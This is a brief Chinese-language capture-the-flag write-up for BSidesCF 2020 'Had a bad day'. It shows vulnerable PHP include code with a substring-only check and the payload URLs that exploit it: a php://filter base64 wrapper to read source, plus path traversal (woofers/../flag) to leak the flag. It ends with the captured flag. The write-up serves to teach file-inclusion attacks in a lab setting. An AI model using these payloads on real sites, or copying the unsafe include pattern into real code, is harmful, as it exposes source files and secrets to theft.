[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件，我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}